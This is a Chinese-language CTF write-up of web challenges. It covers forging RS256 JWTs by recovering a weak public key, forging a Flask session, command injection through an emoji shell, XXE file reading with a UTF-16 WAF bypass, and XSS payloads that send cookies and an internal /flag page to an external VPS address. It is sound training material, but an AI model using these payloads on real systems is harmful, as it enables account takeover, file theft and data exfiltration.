Web1

考点: RS256弱公钥jwt伪造+ flask session身份伪造 +emoji shell?+xxe绕过黑名单实现任意文件读取 本身可以以任意用户登陆 随意登陆后 image.png Cookie中设置了 token(jwt) 和 session(flask session) token是 jwt 通过 RS256进行的加密签名 session 就是 Python flask session image.png 尝试删除 session 可以发现并不影响 /profile返回当前用户名username 如果希望篡改 username 的值 需要 ==公私钥==(非对称加密) 公钥实现解密 私钥加密

image.png 尝试解码 flask session image.pngrole字段 猜测 通过 session控制 role token控制 username 这意味着我们要对 tokensession实现伪造 达到访问后台一些功能的目的 尝试爆破 session密钥无果 考虑伪造 RS256 加密的jwt 实现数据篡改 题目部分改编自国际赛 :https://berliangabriel.github.io/post/tcp1p-ctf-2023/ DownUnderCTF 2021 jwt

从JWT对中导出 RSA 公钥 参考:# Is it possible to recover an RSA modulus from its signatures? 实现项目: https://github.com/silentsignal/rsa_sign2n image.png 通过 Experimental code to calculate RSA public keys based on two known message-signature pairs 也就是通过多个JWT尝试恢复RSA公钥

python .\jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.HDso3-3ZGjO8_J2ziO5Z2UasjqAl6v50-LrCIe-AmeHRrTWPaJco5Kai5u3eyM4kNInKSjn2fCDjhPvP3-QO2b69BpuNKE7uDRVzuuip6N3T-mnrKBbHrbOPWGFdNIOsPxKyhBn9OC4pOQB5mi5pBXVTh_JCuNXf7dm3_nEz-hY6 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIyMiJ9.InOwuK0UKijn2IjMdNd9QURLimyY4Nmw6oxbyEemyuVYbcbbNPSujvWSnOZ8r9urcD8OWMuzEmOF6NKY0TbuujjyrKKWzaScKOz1fLRH0NkUDFk6G6aevF5e9BPP7ciUt-KA3maoPB7Cd7Qeg_Eo3mXqRXko2eVslzdNV8pdeuLY

image.png image.png 多多尝试可能的公钥 反向取RSA的可能多个模数(GCD)

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

根据公钥生成对应的私钥 https://github.com/RsaCtfTool/RsaCtfTool

python .\RsaCtfTool.py --publickey .\publictest2.pem --private

image.png

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----

image.png 签名有效可以实现伪造 可以成功伪造usernameadmin

token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1

image.pngUsername为admin时 可以正常使用功能 GAME image.png 感觉有点意外 Web中还有Misc吗 image.png 小猫🐱 就是 cat 本身 cat *时基本等价于 输出当前目录所有文件 image.png 这里注意一下 暗示 flag在 flag.php

类似的 通过 命令的拼接 可以读取 /app/flag下源码

💿 🚩😜😐🐱 ⭐
cd flag;P:|cat * 

可以读取到 /app/flag的源码


from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests

app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

with open('/app/flag/private_key.pem', 'r') as f:
    private_key = f.read()

with open('/app/flag/public_key.pem', 'r') as f:
    public_key = f.read()

def game_play(user_input):
    emoji_table = {
        "😀": ":D",
        "😉": ";)",
        "😊": ":)",
        "😋": ":P",
        "😎": "B)",
        "🤔": ":?",
        "😐": ":|",
        "😥": ":'(",
        "😮": ":o",
        "🤐": ":x",
        "😯": ":o",
        "😪": ":'(",
        "😫": ">:(",
        "😴": "Zzz",
        "😜": ";P",
        "😝": "XP",
        "😒": ":/",
        "🙃": "(:",
        "😲": ":O",
        "☹️": ":(",
        "🙁": ":(",
        "😖": ">:(",
        "😞": ":(",
        "😤": ">:(",
        "😢": ":'(",
        "😦": ":(",
        "😰": ":(",
        "😱": ":O",
        "🤪": ":P",
        "😵": "X(",
        "🥴": ":P",
        "😠": ">:(",
        "😡": ">:(",
        "🤕": ":(",
        "🤢": "X(",
        "🤮": ":P",
        "🤧": ":'(",
        "😇": "O:)",
        "🥳": ":D",
        "🥺": ":'(",
        "🤡": ":o)",
        "🤠": "Y)",
        "🤥": ":L",
        "🐶": "dog",
        "🐱": "cat",
        "🐭": "mouse",
        "🐰": "rabbit",
        "🦊": "fox",
        "🐷": "pig",
        "🐽": "pig nose",
        "🐸": "frog",
        "🐒": "monkey",
        "🐔": "chicken",
        "🐧": "penguin",
        "🐦": "bird",
        "🚗": "car",
        "🚕": "taxi",
        "🚁": "helicopter",
        "🛶": "canoe",
        "⛵": "sailboat",
        "🚤": "speedboat",
        "🛳️": "passenger ship",
        "⛴️": "ferry",
        "🛥️": "motor boat",
        "🚢": "ship",
        "👶": "baby",
        "💿": "CD",
        "📀": "DVD",
        "📱": "phone",
        "💻": "laptop",
        "⏰": "alarm clock",
        "🕰️": "mantelpiece clock",
        "⌚": "watch",
        "📡": "satellite antenna",
        "🔋": "battery",
        "🔌": "plug",
        "🚩": "flag",
        "⭐": "*",
        "✖️": "×",
        "➗": "÷"
    }
    if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
        return user_input.lower()
    command = user_input
    result = 'emoji shell'
    for key in emoji_table:
        if key in command:
            command = command.replace(key, emoji_table[key]).lower()
            result = command
            result = result + os.popen(command + " 2>&1").read()
    return result

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
    password = PasswordField('Password', validators=[DataRequired()])
    submit = SubmitField('Login')

class UploadForm(FlaskForm):
    avatar = FileField('Choose a file', validators=[DataRequired()])
    submit = SubmitField('Upload')

class GameForm(FlaskForm):
    user_input = TextAreaField('Enter something', validators=[DataRequired()])
    submit = SubmitField('Submit')

def generate_jwt(username):
    header = {'alg': 'RS256'}
    payload = {
        'username': username,
    }
    token = jwt.encode(header, payload, private_key)
    return token

def decode_jwt(token):
    try:
        payload = jwt.decode(token, public_key)
        return payload
    except JoseError as e:
        return None

@app.route('/', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data
        if username == 'admin':
            flash('Invalid username or password', 'danger')
            return render_template('login.html', form=form)
        if username:
            session['role'] = 'guest'
            token = generate_jwt(username)
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie('token', token.decode())
            flash('Login successful!', 'success')
            return response
        else:
            flash('Invalid username or password', 'danger')
    return render_template('login.html', form=form)

@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    return render_template('dashboard.html')

@app.route('/profile')
def profile():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    user_info = {
        'username': payload['username'],
        'role': session['role'],
    }
    return render_template('profile.html', user_info=user_info)

@app.route('/game', methods=['GET', 'POST'])
def game():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('game.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('game.html', form=form, error_message=error_message)
    if payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin'
        return render_template('game.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        user_input = form.user_input.data
        user_input = game_play(user_input)
    return render_template('game.html', form=form, user_input=user_input)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page. Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://" + pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

@app.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect(url_for('login')))
    response.delete_cookie('token')
    flash('You have been logged out', 'info')
    return response

if __name__ == '__main__':
    app.run()

由源码可以知道 flask的session密钥

app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

直接拿着 密钥伪造特定权限即可

通过 flask-unsign 伪造 role权限 为 admin即可

flask-unsign --sign --cookie "{'_flashes': [('success', 'Login successful!')], 'csrf_token': 'eedffbc0898223ee6d7f732cb516c51f6d0e5c92', 'role': 'admin'}" --secret "36f8efbea152e50b23290e0ed707b4b0" --no-literal-eval

image.png

可以尝试发现 token 控制 username ,session控制 role 我们如果想使用 Upload Avatar 功能 考虑Username/Role 都为 admin 成功伪造session(flask) token(jwt)

image.png

现在我们可以访问 Upload Avatar 实现文件上传

image.png

上传任意文件 ==文件无后缀且重命名== 不考虑什么webshell 也不可能

可控两个参数 pathurlfilepath

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath)

1.pathurl必须要包含 www.testctf.com 直接把 www.testctf.com 放在get传参中绕过 localhost?a=www.testctf.com 2.filepath 是 文件上传的文件路径 简单Fuzzing一下发现 image.png

可能对传入的filepath进行了xxl解析 猜测 通过xxe实现任意文件读取 之前 我们通过 cat * 实现了列举/var/www/html目录下文件 发现 flag位于 /var/www/html/flag.php 由于php文件会被解析 回显一定为空 考虑通过==php伪协议实现 读取文件内容==

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php" >]>

<creds>

    <user>&xxe;</user>

    <pass>J1rrY</pass>

</creds>

直接上传xml文件 并且实现解析 发现 存在黑名单过滤 image.png 提示 hacker 被拦截 xxe的绕过方式无非就那么几种 xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码 可以尝试通过utf-16编码绕过 正则匹配WAF image.png

iconv -f UTF-8 -t UTF-16 xxe.xml -o xxe_16.xml

直接上传生成的 xxe_16.xml 并且在 view_uploads 实现 xml解析 image.png 厨子base64解码后就是flag image.png 最终实现了xxe任意文件读取flag内容

Web2

考点:XSS外带内网资源 image.png Python 的后端 多半是 flask应用 默认端口 5000 ![[Pasted image 20241029172951.png]] XSS没有任何过滤 没有CSP策略限制 属于裸奔了

<script>alert(1)</script>

直接被解析成 JS代码 image.png

点击 submit 机器人会访问我们的页面 最简单的方法 考虑 XMLRequest 发起ajax请求实现外带flag

![[Pasted image 20241029173257.png]]

<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://119.29.157.248:8888/", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>

但是 flag不在boss的cookie里 没有flag emmmm

flag会在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 在哪里呢 发现存在 /flag路由 最后是找到了这篇文章 一次利用XSS读取源码 发现可以通过==XSS实现机器人访问其内网资源== /flag获取 result(flag) 后实现数据外带

<script>
function updateContent(content) {
var updateX = new XMLHttpRequest();
updateX.open("POST",
"http://119.29.157.248:8888/J1rrY", true);
updateX.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
updateX.send("flag=" + content);
}
var x = new XMLHttpRequest();
x.onload = function () {
var result = this.responseText;
updateContent(result);
};
x.open("GET", "/flag");
x.send();
</script>

法一: 直接外带 flag 外带 到我们的VPS上也是可以的 image.png

法二:本身提交什么 就可以==回显在我们的主页== 所以尝试 直接 将 result 提交到我们的主页 本身我们的提交包是这样的 image.png

通过 XMLHttpRequest实现提交 一样的效果即可

<script>
function updateContent(content) {
var updateX = new XMLHttpRequest();
updateX.open("POST",
"http://127.0.0.1:5000/content/7e42c0d1dd01a2986952b51e757eec99?a=J1rrY", true);
updateX.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
updateX.send("content=" + content);
}
var x = new XMLHttpRequest();
x.onload = function () {
var result = this.responseText;
updateContent(result);
};
x.open("GET", "/flag");
x.send();
</script>

直接flag 回显到我们的主页上 也是可以的 63e0163b926c290f3f81140c2e5d99ad_720.png

DownUnderCTF 2021 jwt

考点:对于RS256弱公钥生成的jwt可以伪造(非对称加密)

网鼎杯 Web1 改编自这道国际赛的题 有空来复现一下 解题 WP :https://ctftime.org/writeup/30541

主页访问直接返回源码

from flask import Flask, request
import jwt, time, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

private_key = open('priv').read()
public_key = open('pub').read()
flag = open('flag.txt').read()

@app.route("/get_token")
def get_token():
    return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256')

@app.route("/get_flag", methods=['POST'])
def get_flag():
  try:
    payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256'])
    if payload['admin']:
      return flag
  except:
    return ":("

@app.route("/")
def sauce():
  return "
%s
" % open(__file__).read()

if __name__ == "__main__":
  app.run(host="0.0.0.0", port=5000)

os.urandom(24) 生成24字节的密钥

image.png

session密钥不可爆破 虽然本题没有用上 访问 /get_token 可以获取通过RS256 私钥加密的jwt

image.png 通过jwt伪造 篡改admin为true 就可以拿到flag 通过 两个单独生成的 JWT中获取公钥 密码学的相关脚本在wsl中跑 https://github.com/silentsignal/rsa_sign2n

python jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTczMDI5MjE2Ni4xNzU4MzE4fQ.DV2gnUApzu3vc61unXTqYDAxIkmoaRDDQ5u1XhmYl_LcKQBm6ty9x4dRBL9v_-Q3LuiTVTaouZgncMHJ4p75Vog-0F05ybrCTT5FeI6KHlsjLdQHLp3xnry7xnCPF7JEUQ eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTczMDI5MjQ3Mi4yNTg1MDEzfQ.BFcuO-C82OSEXKaS4aCdsgSXBuGslCbc44XMSVADlIvfhWTS1nTW3mFQNjfVFeIYISRsFuUWU9fsU0wFwpXSwAG2rXt_cr9p9K6ISzoOQ_QvbZErz3Osmfc8jkmocnehyQ

生成了不止一个的公钥 存在一定概率 image.png 拿一个试试 1b6275b9f55291c0_65537_x509.pem https://github.com/Ganapati/RsaCtfTool 生成公钥对应的私钥 image.png 不行就换一个最后发现这个可以 image.png

python RsaCtfTool.py --publickey 10.pem --private

image.png

-----BEGIN RSA PRIVATE KEY-----
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==
-----END RSA PRIVATE KEY-----

查看公钥 public.key image.png

-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----

image.png 正确的公私钥对 可以实现成功伪造 生成 admin为true的jwt

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwibm93IjoxNzMwMjkyMTY2LjE3NTgzMTh9.D5lGYl8VXqDzb4s68gF7n9cIklE8qvQEa-GydRDDFKP0gE2F_4877cE2azMbyKVBt5TSv4TW5pR6rO28eSrqt3refFmksgAnSqal2-1SFw2sb6xlUEiMbRWPEV8Tz26QmA

image.png 可以成功拿到flag DUCTF{json_web_trickeryyy}